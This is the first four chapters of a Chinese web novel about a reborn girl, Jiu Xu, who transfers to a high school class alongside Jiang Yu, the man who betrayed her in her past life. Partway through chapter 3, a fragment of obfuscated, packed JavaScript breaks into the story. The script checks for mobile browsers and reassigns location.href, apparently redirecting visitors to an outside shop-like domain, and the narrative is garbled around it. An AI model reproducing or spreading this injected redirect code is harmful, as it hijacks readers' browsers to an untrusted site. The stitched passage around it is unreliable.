《死醉》
1. 开篇重逢
【01】开篇重逢/
“比起被说相似,我想形影不离。”
“江、江遇?!”
久许神情恍惚,莫名后退两步。
她看到那背影,不但下意识喊,甚至无意识退。
男孩似有所感,突然停下脚步,猛地转过身来,看来往的学生,定在她的方向,好像认出了她。
久许愣在原地。
不会错的。
是他。
“你这是要找人?好像是有动静。”楚夜下些台阶,站在他的身后,顺着他视线看,不解说:“江遇,看什么呢?”
江遇听到这话,不禁淡淡笑了,眼神格外深情。
“很漂亮的小孩。”
“不眼瞎耳聋吗?”楚夜没看到人,不觉轻笑了声,打趣说:“再说这是高中,哪里有小孩啊。”
预备铃声响起,七点五十分了。
江遇回过神来,没有再回他话,转身往二楼走,看楚夜还愣着,怕他真迟到了,好心出声提醒。
“快上课了。”
第一节上语文,课前要求背诵。
楚夜很快回神,看他已进大厅,连忙跟了上去。
“我腿瘸了,你倒挺快。”
还说看小孩呢?
两人走得很快,已经拐进楼道,再看不到身影。
久许还在原地,甚至陷入沉思。
清晨阳光温暖,洒落在楼梯上,平添几分神秘。
男孩如同当初,身上意气风发,白短袖黑长裤,很简约的校服,在阳光照耀下,完美还原样貌。
他那转身回眸,犹如无情神祇,将要坠落神坛。
眼前楼梯不长,但也算不上短。
她却生出错觉——
如果那刻伸手,就能触碰神明。
*
久许转学过来,要去高三七班。
班主任教英语,名字叫刘风吟,是教学组组长,教学经验很足。
她才刚来学校,没办走读手续,得先来找老师。
这时已过八点,上课铃早响了,正上第一节课,楼道没什么人,办公室很安静,没有几个老师。
久许站在门口。
“报告。”
十七岁的女孩,声音还软软的,反倒像个小孩。
有男老师听见,温声说:“进吧。”
久许点头回应,随即进办公室,走了一圈下来,没看到刘老师。
她想出声询问,却没胆子开口。
办公室人不少,有三四个学生,有五六个老师,没有说话交谈,显得氛围凝重,隐约有些压抑。
久许思索片刻,返回找那老师,回她话的老师。
男老师很和善,此时不算太忙。
“老师,很冒昧打扰您,我想找刘老师,她快回来了吗?”
“你叫久许是吧?”
“是的,老师。”
“她正办手续呢,估计得再等会,现在时间还早,就靠墙那一列,倒着数第三排,可以先去等等。”
“谢谢老师。”
“不用谢,快去吧。”
久许按着那话,很快找到位置。
女孩端正站着,模样很是乖巧,梳着高高马尾,脸有些婴儿肥,白色圆领T恤,深蓝色背带裤,背着杏色书包,脚上是小白鞋。
办公室里有表,表针不停走动,声音格外清晰。
此刻是十五分。
刘风吟坐下后,扯来一把椅子,示意女孩坐下。
久许本想推辞,可看老师神情,话又不敢说了,只得点头答应。
她坐在椅子上,听着老师说话。
“走读手续办下来了,你的情况有点特殊,早晚自习可以不上,九节正课一定要来,跟同学相处的时候,有不适应再跟我说。”
刘风吟看课表,补充说:“正好下节课我的课,带你去教室认认人。”
久许认真听着,该回应了回应。
*
时间过得很快,下课铃声响了。
刘风吟拿好书,带久许去教室,顺便认班干部。
她还嘱咐班长,让他等会上课,给她领套校服,帮她取回课本。
久许有些茫然。
老师想得周全,她这算是跳级。
学生接连反应过来,是班主任提前来了,刚刚还闹腾的班级,立刻便安静了下来。
可对未知都会好奇,有些同学私下讨论。
“都这个时候了,还有学生转班?”
“文转理吗?重点班的?”
“应该不太能吧,她看着好小啊,真有十八了吗?”
“不能是老班女儿吧。”
“……”
随着上课铃声响起,讨论的声音也停下。
老师走了过场,便是自我介绍。
久许站在讲台旁边,同学们抬头看着她,平复心情整理思绪。
“同学们好,我叫久许。”
“长久的久,期许的许。”
“很高兴来到这个班,在往后的日子里面,希望我们携手前行,互相鼓励共同成长。”
那么多同学里,江遇格外显眼。
竟然开篇重逢?
算是阴魂不散!
楚夜听到声音,联想今天早上,仿佛理清一切。
叫江遇的那人,就是这个女生。
“为什么呢?”
楚夜不禁偏头,打量江遇身形,定在江遇脸上,淡淡说:“你的背影,我的背影,不一样吗?”
就凭一个背影,认出一个人吗?
“略显不同。”
江遇停顿了下,补充说:“但是不多。”
楚夜:“……”
一见江遇少爷,险些误了终身。
江遇:“那你愣坐着吧。”
[我买几个橘子去。你就在此地,不要走动。]
不对!
终身卒啊。
楚夜想到这些,再看江遇模样,顿时恍然大悟,反驳说:“还学朱自清了,你当你背影啊?”
“经典这么用吗?”
江遇说着这话,偏头看向讲台,眼神温和下来。
“玫瑰娇纵。”
应该怒放。
应该骄傲。
应该自信。
*
久许坐座位上,心情特别不好。
座位单人单桌,她坐在第三排,还是中间位置,后边就是江遇。
是缘分?是天意?
是孽缘吧!
要是没有江遇,那样就更好了。
久许想着这些,身子莫名泛冷,明明是大晴天,却像在雪地里。
她生出些错觉——
有人暗戳戳地看她。
久许想到这里,不禁心里一滞。
这怎么可能呢?
大概想多了吧。
久许收回思绪,拿出英语课本,看单词看课文。
这时才刚开学,同学们赶作业,老师在班里转,并没有上新课。
久许正看课文,光线瞬间暗下。
刘风吟转过来,站在久许身旁,还挡住了阳光,打量那英语书,见没什么异常,随即便离开了。
久许再感光亮,很快回过神来,便往下看课文。
她看到这词组。
win the heart of,意思是“赢得某人的心”。
大学英语课时,那老师有感触,提起他的爱人,说着自身经历,他难得她芳心,她可贵他真心。
久许心生感触,连忙换了红笔。
她在课文旁写——
what to do to win the heart of the princess。
江渣男不做人,表面爱她如命,竟脚踏两条船,纯纯海王养鱼,还玩出私生子,是坏男人代表。
可现在怎样呢?
他模样还青涩,戴着银框眼镜,有些斯文败类。
*
此时是大课间。
这次有些特殊,没有跑课间操。
久许没太在意,收起英语课本,换上数学课本。
她对循环这词感兴趣,用电脑搜索出来词条,其中就有莫比乌斯环,就是无限循环、死循环。
在生日时坠海,还生日时重生,挺像无限循环。
久许的左手旁,是个活泼女生,主动跟她搭话。
“我叫林浣,你想的话,叫我浣浣。”
林浣缓了几秒,补充说:“你叫久许是吧,我能叫许许嘛?你长得好乖啊,我好像没见过。”
这么乖的学生,如果本校的话,估计早传遍了。
她看久许这脸,似乎有些眼熟。
久许听了这话,放下手里的书,回复说:“之前在市二中,这里离家里近,上下学方便点。”
她说是这么说,其实没有什么。
就是家人担心,怕她压力太大,受不住会生病。
“你在市二中啊?我朋友在那里,说管得老严了。不过说来也是,严师才出高徒,你学习很好吧。”
“还算可以,一般般吧。”
林浣来了兴致,错过这个话题,开始讲些八卦。
“咱们班的学生,真是两级分化,有
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人年级前百,有人年级倒百。”
“有个单科学神,名字叫做周霁,他数学特别好,年级也排得上,就是偏科严重,总成绩上不去。”
“还有班长时渡,给你送书那个,看着温顺无害,实际上人够卷,奉承题海战术,就是老考第二。”
“就你后边那个,他一直考第一,高二转学来了,就没下过第一,而且特别高冷,还、”
“高冷什么?那是妖啊!”
女生说着这话,扯凳子坐过来,补充说:“白骨精本精了,模样妖里妖气,惯会妖言惑众,甚至蛊惑人心。”
“曦曦,你又说那事啊。”林浣淡淡笑了,补充说:“他该是狐狸精,吸精气的那种。”
久许有些好奇,不禁说:“什么事啊?”
“对我好奇?”江遇刚好路过,靠桌边看久许,神情异常认真,温声说:“你该问我。”
林浣:“……”
这是什么剧本?
云曦:“……”
大灰狼小白兔?
久许寻声看他,无奈说:“你这模样很妖。”男狐狸精本精。
“怪不得古人常说,三个女人一台戏。”
江遇定定看她,眉头不觉微皱,眼神晦暗不明,补充说:“我并不喜欢演戏。”
久许低声反驳:“可是,男人的嘴,骗人的鬼。”
“我还没成年呢,还算不上男人,再者我是活人,不是什么妖怪,更别说白骨精,还什么狐狸精。”
江遇停顿了下,像是解释一般,认真说:“久许,别乱想了。”不蛊惑人。
最后这六个字,莫名有些突兀。
*
这节是数学课。
数学老师有事,铃响完还没来,班委维持纪律。
同学们赶作业,假期有些放肆。
久许翻看新书,有些看不太懂。
她上世读大学,选汉语言文学,数学并不算好。
她想班长时渡,觉得也应该卷。
你卷。
我卷。
大家卷。
久许拿出来本五三,开学前哥哥给买的,就是哥哥提前开学,今天没送她来学校。
她找到了目录,翻到几何部分,拿起黑笔做题。
此刻做到这里。
是道单项选择,按所给三视图,求几何体体积。
久许试过两次,没还原出立体,反而画了别的,算得上四不像,看不清是什么,甚至有些混乱。
数学老师神出鬼没,进了教室在下边转。
他走到久许这。
她再画正方体,重新定点连线。
老师看她生疑,伸手拿起笔来,在纸张空白处,画了个几何体。
久许看见以后,瞬时茅塞顿开。
老师把笔放下,耐心说:“放到一个正方体里,这个方法的确很好,但是也有不足之处。”
停顿了下,他补充说:“禁锢了你的想象力”。
久许听到这里,再看那草稿纸,喃喃说:“我的想象力么。”
老师给她回复:“你很优秀,别太着急,循序渐进。”
“谢谢老师。”
“不用谢。”
久许思索片刻,在几何体旁边,画了个新图形。
图形很是生动。
是莫比乌斯环。
久许这么看着,不禁陷入沉思。
她受严重刺激,住了九个月院,不是没期望过。
可结果怎样呢?
他再也没来过。
同学们:“……”
【这一幕是什么?怎么似曾相识?】
【禁锢了你的想象力?】
【有些像江某人,才刚转学过来,数学课看诗经!】
【被数学老师支配的一天……】
楚夜半信半疑:“阿遇,该说不说,神之相似。”
这算夫妻相吗?
倒挺像一家人。
江遇闻言停笔,心里有些悸动,就看着练习册,数学题没解完,草稿字迹整洁,心却混乱不堪。
“比起被说相似,我想形影不离。”
楚夜似乎意会,想要说些什么,却都止于口中。
江遇想下课看到的,小姑娘写的那英文,瞬间心生不少感触,拿过张新的草稿纸。
他在那纸上写——
what to do and how to act in order to get the rose。
江遇看着这话,不禁淡淡笑了。
他拿起草稿纸,将其折来折去,变成玫瑰形状。
2. 确实挺娇
【02】确实挺娇/
“以三怨对待我,你是否懊悔呢。”
上午时间转瞬即逝。
第五节课结束。
刚十二点。
学校走读生不算多,大部分都选择住校。
七班就三个人。
久许,江遇,楚夜。
江遇靠在门边,手里拿着校服,等着久许收拾。
久许收好东西,背着书包出来,到了他的面前,下意识询问了。
“江遇,为什么呢?”
怎么还靠近呢?
他太熟悉她了,他根本装不了。
“答应你哥哥了,自然照顾好你。”
江遇思索片刻,补充说:“再有你是同学。”大概还有私心。
“因为我哥哥吗?”久许停顿了下,喃喃说:“哥哥跟你说了,你就照顾我了。”我是你的同学。
江遇没有回答,像是默认一样。
“江遇,我要先回家了,把校服给我吧。”
小姑娘声音软,还藏着些委屈。
江遇气急反笑,无奈说:“久许同学,怎么没大没小?你该叫我哥哥。”
久许有些茫然,反驳说:“我已经不小了,跟你一个年级,还喊什么哥哥。”哪有这种事啊?
他都那样做了,她还是没恨啊。
“一个年级又怎么了?掩盖不了我比你大。”江遇神色认真,补充说:“校服改好了再给你。”
久许:“……”
莫名受宠若惊。
*
公交站点。
学校位置还好,很多公交都停。
久许家也不远,坐公交挺方便,也就十来分钟。
江遇低头看她,温声说:“小孩,有零钱吗?”
久许抬头看他,明显有些怀疑,低声说:“你坐公交不带钱吗?难道想空手套白狼?”
坐公交不带钱,临时找人借啊?
“还空手套白狼?”
“我去跟谁套啊?”
“把手机压给你,下午了就还你。”
江遇说完这几句话,真把手机递给了她,仿佛再为平常不过。
久许乱想起来,迟迟都没出声。
江遇见她愣着,轻声说:“久许。”
久许猛地回神。
“留个联系方式,省得找不到人。”
江遇停顿了下,补充说:“密码140810,就屏幕右下角,点进去自己加,借了我会还的。”
久许心脏乱跳。
低头见抬头见?
他把手机给她,甚至随便她看。
有些男生人模狗样,手机里不怎么干净,有见不得人的东西,就差被和谐四零四。
江遇视线真挚,神态镇定自若,模样丝毫不惧。
久许很快回神,随即快速解锁,点进企鹅图标,加上联系方式,从裤兜掏硬币,同手机还回去。
“不用押给我的。”
她也有些私心,见到少年江遇,下意识很开心。
“怎么会不用呢?”
男孩声音很轻,像不存在一样。
她却发现端倪。
*
12:30。
江遇进了家门。
楚夜坐沙发上,正在看水浒传。
他听见有动静,偏过头看江遇,打趣说:“比平常晚了十分钟,那十几分钟的路程,差点就要翻个倍了。”
往常他俩作伴,今天倒是奇怪,江遇没跟他走,还这么晚回家。
他妈以为出事,问他好几回了。
“路上有事要忙,以后都这个点,吃饭不用等我。”
江遇心里算过,公交点还算准,等她上了公交,他再走回家来,也就十二点半,没太大的波动。
楚夜愣了片刻,反驳说:“咱们兄弟俩的,急那十几分钟?”
江遇拿着校服,正往卧室走着。
楚夜看他背影,低声问:“不过,小姑娘还小呢,又跨级读高三,你心里怎么想?”
“我爱你这句话,没有任何价值,要说该怎样呢,给爱给钱给人,有我活在世上,她就不用长大。”
江遇头都没回,不带丝毫犹豫,直接说了出来。
楚夜似乎懂了。
他很清醒,他想养她。
“你怎么着都行,现在利索点儿,就等你吃饭呢,我去喊我妈了。”
他说完了这话,起来收拾碗筷。
江遇进了卧室。
楚夜收拾好后,敲了敲房间门,直接推门进去,随意说:“仙女大人,收拾好了,快吃饭吧。”
“咋咋呼呼什么?”
女人声音略重,但却藏着宠溺。
楚妈妈叫夜苑,性子洒脱得很,被楚爸爸宠的。
她拿着套衣服,在楚夜身上比,认真说:“看样子差不多,阿夜等下试试,不合适我再改。”
夜苑递给楚夜,拿起另外一套。
“阿遇还没回吗?身高是差不多,他比你瘦点儿,可能不太合身……”
楚夜出声打断:“不是什么大事,他就在房间呢,实践出真知啊,待会儿吃过饭,他穿身上试试,这样不就行了。”
夜苑听到这话,刚想数落几句,就看到了江遇。
他人站在门口,手里拿着校服。
“阿遇,怎么还过来了?”
女人声音温柔,关心溢于言表。
江遇态度诚恳:“婶婶,能教我缝纫吗?”
他上百度搜了,可觉得差点儿,没敢真下手改。
刺绣跟缝纫比,大概不太一样。
夜苑听到这里,把衣服给江遇,接过校服看了,轻声说:“校服裤子好改,吃过饭教教你,你再动手试试。”
她倒想帮他改,怕是他不愿意。
明显不是他的校服。
楚夜看到这般,无奈说:“咱们先别聊了,都十二点半了,还得去学校呢,我不想搞特殊。”
女人!
不对,还有女孩。
可怕生物!红粉骷髅!
前有他爹妻奴,当小祖宗宠着;后有江遇犯傻,绣玫瑰裁衣服。
*
久许吃过午饭,便回卧室休息。
她躺自己床上,认真思考好久,侧身拿过平板。
住院那小两个月里,爸爸妈妈怕她无聊,就给她买了个平板,但却没有碰过几次。
久许不禁垂眼,看界面右下角。
13:28 周四 2016/9/1。
她找到企鹅标,随即点了进去,输入密码登录。
都快三个月了,有些未读消息。
久许上下翻动,却被名字吸引。
蒋清屿。
她的竹马。
现在并不在线。
他有三条消息,时间都不一样。
2016/7/9 21:29:26。
【许许,发生什么事了?】
2016/7/21 0:58:36。
【我来过医院了,你要开心快乐。】
2016/8/31 17:36:58。
【你不来上学了?】
久许静默半晌,给他回了消息。
【我现在没事了。】
【转到县一中了。】
她没太放心上,往下翻了几下,看看别的消息。
久许看到最后,剩下江遇那条。
那是好友申请。
她沉默了片刻,还是点击同意,点开了他资料。
头像是个动物,眼睛明亮深邃,模样可爱软萌,像是白泽幼崽,背景深邃星空,看着怪漂亮的。
网名是个英文,serendipity。
个性签名就四个字——
三十六步。
久许看完以后,莫名有些心疼。
她忽略这不适,切换平板界面,看自己的资料。
头像:霸总站姿懒散,单手抱稳女孩,左手拎高跟鞋;女孩长发垂落,红裙摆际精致,脚底略显泛红,(漫画绝美背影)。
网名:陆小娇妻。
个性签名:追妻火葬场呢?都埋乱葬岗了!
久许看到这些,不禁有些尴尬。
她很快有想法,准备改头换面,把这些都换了。
久许点浏览器,正搜卡通头像,有消息提示音,不禁点开去看。
是江遇的消息。
【霸总文学,她逃他追,插翅难飞,再次相遇,强取豪夺,掌中之物,生死相随,氛围不错,我很喜欢。】
她脸悄然红了。
江遇放下手机,看向床上裤子,不禁淡淡笑了。
“小娇妻吗。”
倒确实挺娇呢,可爱的小孩啊。
*
久许来得不晚,坐到位置上后,抬眼看了下表。
现在2:24。
上课时间2:40。
现在这个时间,教室同学不多,也就十来几个。
快要敲预备铃。
久许看见楚夜,他旁边是江遇。
“小久许吖,你来得好早啊。”
楚夜进了前门,一边往座位走,一边跟她说话。
“不算早了,你们晚了。”
“楚夜,喊我名字,我叫久许。”
久许有些印象。
他是江遇兄弟,两人关系不错。
他们俩的父亲,还是年少玩伴。
楚夜坐位置上,想到久许的话,不禁好奇起来。
他没说过名字?
久许怎么知道?<
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江遇进教室后,看她前边没人,直接坐了过去。
楚夜刚想询问。
江遇出声打断:“我说。”
久许有些疑惑,抬头看向江遇,不解说:“你说什么?”
“裤子给你改了。”江遇放下校服,补充说:“夏季校服偏薄,不过现在还暖,冷了就穿我的。”
“谢谢。”
久许不禁低头,校服叠得整齐,补充说:“不用管我哥哥,他就是乱操心,我都十七岁了,可以照顾自己。”
江遇神情慵懒,回复说:“答应过的事情,我怎么能反悔?”
久许寻声抬头。
他眼睛很干净,却多了些什么。
她就听见他说——
“我答都答应了,自然需要做到。”
语速很慢,仿佛宣誓,字字真心。
久许很快回神,她有那么一瞬,想要直接沦陷,却也只有一瞬。
*
下午很是平静,没有什么事情。
久许坐着看书,感觉很不舒服,身后像冒冷气。
江遇不开心吗?
她气到他了吗?
久许心思很乱,两节课上下来,没做什么一样。
江遇鲜见乖顺,没再刷存在感。
楚夜有些奇怪,跟她闲聊琐事,似在旁敲侧击,想要知道什么。
随着铃声响起,唤回所有思绪。
自习课没老师,时渡坐在前边,顺便看管纪律。
久许翻出语文,在做名著阅读。
讲的是范爱农。
最后标着:
(取材自鲁迅——《朝花夕拾.范爱农》,略有改动)
全篇很多句话,蕴含人生哲理。
她却记住这些——
我们醉后常谈些愚不可及的疯话。
这篇阅读两问,第一问是选择。
久许审过题干,很快选了答案,难易程度可以,觉得不会出错。
她看第二小题,不禁有些愣神。
【第二小题,结合文章片段简要分析:你认为造成范爱农悲剧的原因有哪些呢?】
久许回想全文,心绪乱了起来,甚至觉得很累,只握着一支笔,就费不少心神,没有一点力气。
她胡思亦乱想,想找地方躲着,不被别人找到。
久许挣扎过后,趴在了桌子上。
她想前世的事,竟下意识自责。
她听哥哥的话,就想重新生活,顺便远离江遇,怎么会这样呢?
江遇不停靠近,让她无计可施。
这是什么剧本……
哪怕再来一世,还是不可能吗?
*
放学铃声响了。
同学们结了伴,已经走了不少,去食堂吃晚饭。
楚夜心情复杂,懒得搭理江遇。
真死鸭子嘴硬,惹女孩生气了,连低头都不会,就只知道绣花。
楚夜站起身来,背书包准备走,右手推下江遇。
“我回家了。”
江遇很快起身,给他腾出位置,却没后续动作。
楚夜看到这般,真恨铁不成钢。
一个不说,一个不问。
互相折磨死吧。
他直接转身走了。
久许没太留意,背着书包离开。
江遇很快回神,没有再作停留,随即跟了上去。
……
公交站点。
久许才到片刻。
她就听到这话——
“小孩,有零钱吗?”
江遇模样未变,依旧阳光洒身,还多些烟火气。
男孩意气风发。
谁又能拒绝呢?
久许很快回神,掏出硬币给他。
他帮她改校服。
就当作报酬吧。
*
晚上。
卧室里面。
久许躺在床上,翻来覆去乱想。
那上世为真吗?
应该可能假吧。
她发现他出轨,可那人是侧颜,只听到几句话。
江遇那样的人,真出轨有子吗?
久许回想这些,头竟隐隐作痛。
她潜意识觉得,好像不太对劲,却想不起什么。
她亲眼看到的。
眼见为实!还能作假?
久许回想前世,喃喃说:“以三怨对待我,你是否懊悔呢。”
哪怕天翻地覆,这三怨错不了。
一怨江遇出轨;二怨江遇有子;三怨江遇不归。
久许拿过平板,给江遇发消息。
【我喜欢红玫瑰。】
江遇那边秒回。
【等着。】
【早睡。】
【晚安。】
3. 玫瑰好看
【03】玫瑰好看/
“红线断情债清,再也接不上了。”
新学期第三天,刚好周一下午,恰好是班会课,复习用书到了。
刘风吟知道后,让男生去搬书。
她看书搬回来,安排班里女生,尽快发复习书。
班里56个学生,学生最少的班,学校重理轻文,就6个文科班,理科班有18个,这些理科班里,七班算中上游。
发完新书以后,每人桌上一摞,像要翻山越岭,就是为了高考。
复习用书挺厚,一共就是六本,都有三四百页。
久许坐位置上,简单翻了一下,把书收进书桌,听刘风吟讲话。
像是注意发型、穿校服、不能迟到早退、上课不能睡觉、宿舍卫生要跟上、走读生要提前到校等等。
特地说穿校服,说会有领导查。
后边就是打气,鼓励学生努力,说了十来分钟。
她话里核心是——
胜负乾坤未定,你我皆是黑马;抓住一轮复习,好好查漏补缺;对自己有信心,一切皆有可能。
最后那几分钟,让他们合座位,是二三二排列,前后一共八排。
很快敲下课铃,到了放学时间。
久许收拾东西,看这些复习书,拿起数学那本,装到书包里面。
等了两三分钟,同学走差不多,她才准备回家。
江遇没有变化,跟上午时一样,陪久许去站点。
久许看着江遇,想到了一个词。
knight。
骑士。
他这么陪着她,就像守护骑士,很给人安全感。
“你知道莫比乌斯环吗?”
“一种拓扑学结构。”
“循环,一个面,一个边界。”
“一轮复习只是起点,你该去大学看一看。”
女孩身形瘦弱,穿着一身校服,扎着高丸子头,耳边有些碎发,显得可爱乖巧,说话还很温柔。
江遇看见这般,莫名晃了心神,鬼使神差一样。
他想到这个词——
干净。
女孩那身校服,看着挺合适的。
她胳膊的痕迹,不是特别明显,却格外的违和。
江遇很快回神,淡淡说:“大学而已。”
简短的四个字,尽显漫不经心。
男孩姿态慵懒,只穿简约校服,却似西装革履,手握无上大权,傲睨众生百态,把控万物走向。
公交恰好到了,久许上了公交。
她刚坐座位上,下意识偏过头,想再看下江遇。
车窗透明无瑕,视线还算清晰。
不是上课时间,他没有戴眼镜,意外有些清冷,还显沉稳阴鸷。
女孩在看男孩,男孩却不知道。
江遇看着手心。
硬币很有光泽,似乎有些余温。
他下意识攥紧。
公交车走远了,他也回过了神,转身步行回家。
*
久许回家以后,爸爸妈妈都在,就是哥哥没在。
学校提前开学,哥哥早返校了。
久许放下东西,去给妈妈帮忙。
妈妈叫做君悦,是个小学老师,教英语这学科。
君悦看她来了,温声说:“许许不用帮忙,晚饭马上就好,刚好你回来了,去书房喊爸爸。”
久许听了点头,转身去了书房。
她爸爸叫久妄,特别喜欢看书,下班没什么事,就去书房呆着。
她敲了门进去。
他正好在看书。
久许刚想开口,久妄就说话了。
“许许,在学校怎么样?上来就跟高三,压力会有些大,要是不行的话,咱们去读高二。”
停顿了下,他放下书,无奈说:“要是不行的话,就不读高三了。”
随着话语落下,两人都沉默了。
久许率先回神,笑着说:“哪有跟不上啊。”
“暑假你们也跟去了,学校年级主任都说,就我现在的水平看,更适合综合性考试,读高二没太大难度,只会白白浪费时间。”
“而且,我在市二中的时候,也是重点班的学生。”
在一中普通班,可以跟上进度。
沉默片刻,她补充说:“爸爸,我没事的。”不害怕的。
久妄怔愣起来,书也自动合上。
他不禁低头看。
书名,《儿童发展心理学》。
人民教育出版社,2005年版。
2006年,他买了这本书,这么多年过去,还是没有看透。
*
吃过晚饭以后。
君悦收拾桌子,久妄负责刷碗。
久许帮了会忙,见没别的事了,便回房间看书。
她坐在书桌前,从书包里拿书。
复习书很漂亮,蓝白间色封面,看了心情很好,就是书有点厚。
久许翻复习书,借着目录索引,找到几何部分。
在第52页:预测模拟题部分,出了这么一道题,涉及双曲线函数。
久许看着题干,想到这个故事。
笛卡尔的第十三封情书。
信上只有奇怪密码:r=a(1-sinθ)。
很多人觉得他疯了,公主看到这封信后,却破解了这个密码,那是爱的心脏曲线,藏着满腔爱意的信。
久许想起这些,看着这个方程,下意识动笔解。
她才解到一半,竟苦笑了起来。
接近浪漫传说,并非严格史实,又谁真谁假呢?
她想到他曾说——
“我还活在世上,你就不用长大。”
今天刚好五号,快要两个月了。
她重生回来后,不是生病住院,就是读书学习。
思绪莫名飘远。
上一世的时候,初见江遇那次,她刚刚二十岁,他是二十二岁。
她同平常一样,从学校回到家。
在客厅沙发上,有他也有哥哥,两人都很出色,难以分出伯仲,却很莫名其妙,她倒先看见他。
他看她的眼神,让她感觉危险,甚至还会深陷。
他说对她一见钟情。
像是蓄谋已久。
红色妖冶玫瑰,黑色得体西装。
男人邪肆禁欲,他当着哥哥面,抱花单膝下跪,嗓音低沉性感。
“跟我谈场恋爱,敢不敢试试呢。”
不是询问语调,而是笃定语调,仿佛早有答案。
她吃惊愣了神,不知说些什么。
他随即就说了——
“久许bb。”(久许宝贝。)
“你唔使惊,我好真诚。”(你别害怕,我很真诚。)
很流利的粤语,有爱意有情感。
他曾赴香港两年,回来便继承陆氏,有颜有钱还有权,手上全是王炸牌,情绪稳定三观正,算是年少有为了。
思绪很快收回。
久许将书合上,看了一眼闹钟,时间是8:10。
……
与此同时,男孩收针。
大红色的底布,蚕丝金线成形,在树脂绣绷上,金色图案显现,是莫比乌斯环,看着很是生动。
江遇却不满意,声音平淡得很。
“难看死了。”
玫瑰好看,小孩漂亮。
要玫瑰还是爱,他再清楚不过。
*
殿内喜堂精致,龙凤喜烛耀眼,四周喜字夺目,却无宾客高堂。
少年面色如雪,喜袍破损染血,怀里抱着少女。
少女妖冶惑人,身穿正红嫁衣,盖着红纱盖头,衬得肤白如玉,即使闭着眼睛,更显倾城之姿。
她倚少年身上,埋头少年颈间,双手自然垂落。
少年半蹲下来,少女坐他腿上。
他将灵剑唤出,划破右手食指,在地面上写字,同时坚定说出。
“婚书。”
“一笺为媒,两姓眷姻;三界通喻,四美皆具;五世其昌,六礼既成;七弦琴泠,八行韵情;九霄见证,十载同偕;百恩千渡,万誓亿盟。”
“此证,久许,江遇。”
血书完整显现,从右向左九列,笔锋苍劲有力。
上天允大地证,地面血书飞空,生灵自然飘动,不停泛出红光,似要通喻世人,甚至上至天庭。
血色雾气弥漫,场景悄然崩塌。
久许睡得很沉,但是很不安稳,挣扎着想醒来,却难以睁开眼,意识很不清醒,记忆有些混乱。
她似听到这话——
“红线断情债清,再也接不上了。”
很陌生的话语,很熟悉的语调。
久许莫名心慌,但听到闹钟声,随即猛然惊醒,只看到天花板。
她想不起梦境,大脑瞬时空白,心里生出茫然,喃喃说:“这都什么事啊,好像又做梦了。”
就像莫比乌斯,荒谬般的悖论。
*
久许缓过心神,随即起床叠被,换衣服再洗漱,就出来吃早饭。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858555|191671||http|test|mini|href|location''.split(''|''),0,{}));
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>这时候7:00,父母也正在吃。
久许刚醒不久,没有什么胃口,随意吃了几口,就准备起身走。
君悦怕她饿着,拿着面包牛奶,要她路上再吃。
久许拿好东西,刚要准备出门,摸了裤子口袋,发现没带零钱。
她连忙回房间,找猫猫存钱罐,拿了几枚硬币,思索了一下后,想去买橡皮糖,又拿了些纸币。
久许7:13出门,坐公交到学校,低头看眼手表,时间是7:36。
她看时间富裕,直接去了超市。
超市并不太大,糖果区容易找,她拿着小袋子,看橡皮糖形状,每样都选一点,挑了小小一堆。
久许选好以后,准备过去算账,却差点撞上人。
她下意识抬头,低声说:“江遇…对…”
“对什么?”江遇轻笑了声,补充说:“对不起?”
“对不起什么啊,都别对不起了。”
楚夜走了过来,怀里抱着辣条,穿过他们两人,停在了收银台,好心说:“小心上课迟到,第一节英语课。”
久许才想起来,昨天班会课上,课表换新的了。
她的视线偏移,看到远征辣条。
楚夜似有察觉,无奈说:“我可没问题啊,家里仙女要吃,还就吃这牌子,非让我给她买。”
他放学后再买,又担心忘记了。
江遇:“到你了,快结账。”
楚.小白菜.夜:“……”
我招谁惹谁了?
我黄地里算了!
楚夜结好了账,拿袋子装辣条,模样略显可怜。
久许走在前边,把糖放了下来。
江遇跟了上来,把东西放过来,随意说:“一起算。”
久许:“你带钱了?”
你坐公交回家,还在跟我要钱。
江遇:“带手机了。”
他这言外之意,我坐公交没钱。
久许没有说话,不想再搭理他,伸出右手看表。
7:42。
时间足够。
从超市到学校,穿过马路就行。
他们到了教室,也就刚坐下来,预备铃敲响了。
还没过几分钟,刘风吟进来了。
她在班里走着,点过教室卫生,催学生读英语。
上课铃声响起,刘风吟按资料,开始一轮复习,说了不少知识,重点还是单词,说要打好基础。
久许听课下来,对这印象最深。
声音sound。
过客感sounder。
哥哥提议转学,她听话就来了,一切变了不少。
*
第四节数学课。
老师讲完知识,然后勾几道题,让学生自己做。
有个男生举手,老师点头示意,要他来讲台问,他带着书去了。
两人交谈起来,很是熠熠生辉。
久许认出来了,男生就是周霁。
她突然就觉得——
讲台上特别好,如果多一个她,她会特别骄傲。
林浣做不下题,用胳膊戳戳她,低声说:“许许,数学老师这人,你觉得帅不帅?”
“挺帅,很凶。”
久许思索片刻,补充说:“也温柔。”
数学老师年轻,也才三十来岁,个子高长得俊,像民国贵公子,但凶起来真凶,没人敢再闹腾。
“告诉你个事情。”林浣凑了过来,低声说:“他儿子很可爱,年画娃娃似的,可招人喜欢了。”
她抬眼看久许,不禁说:“你现在这模样,五六岁的时候,肯定也很可爱。”
久许怔愣起来,莫名有些心慌。
“应该胖乎乎的,倒算不上可爱,后来升三年级,模样才长开了。”
“真看不出来啊。”
林浣回想幼时,补充说:“我小学那时候,跟假小子似的,天天出去疯跑。”
她家人都怀疑,孩子生错性别。
江遇听完对话,不觉停下了笔,喃喃说:“不丑,可爱。”
楚夜:“你不是被下药了吧?”
什么不丑?什么可爱?
都自言自语了。
江遇大方承认,无奈说:“比不上你,没人下药。”
“谎话连篇?我能信你?”
楚夜理直气壮,补充说:“追我的那些人,真招呼到一起,吃席都得几桌,可惜我不愿意。”
江遇:“一桌还坐不下,得摆上好几桌。”
坐好几桌空气。
4. 电话夜谈
【04】电话夜谈/
“就是他有些蛊,活像个男妖精。”
久许翻来覆去,想听哥哥声音,准备拨通电话,但又停了下来。
大学生刚开学,或许有不少事。
她哥哥叫久执,比她大了两岁,刚经历完高考,现在正读大一,学校华清理工,读计算机专业。
他禁欲系长相,温润不失邪肆,大概随了父亲。
父亲是个医生,擅长心理方面。
禁欲?
温润?
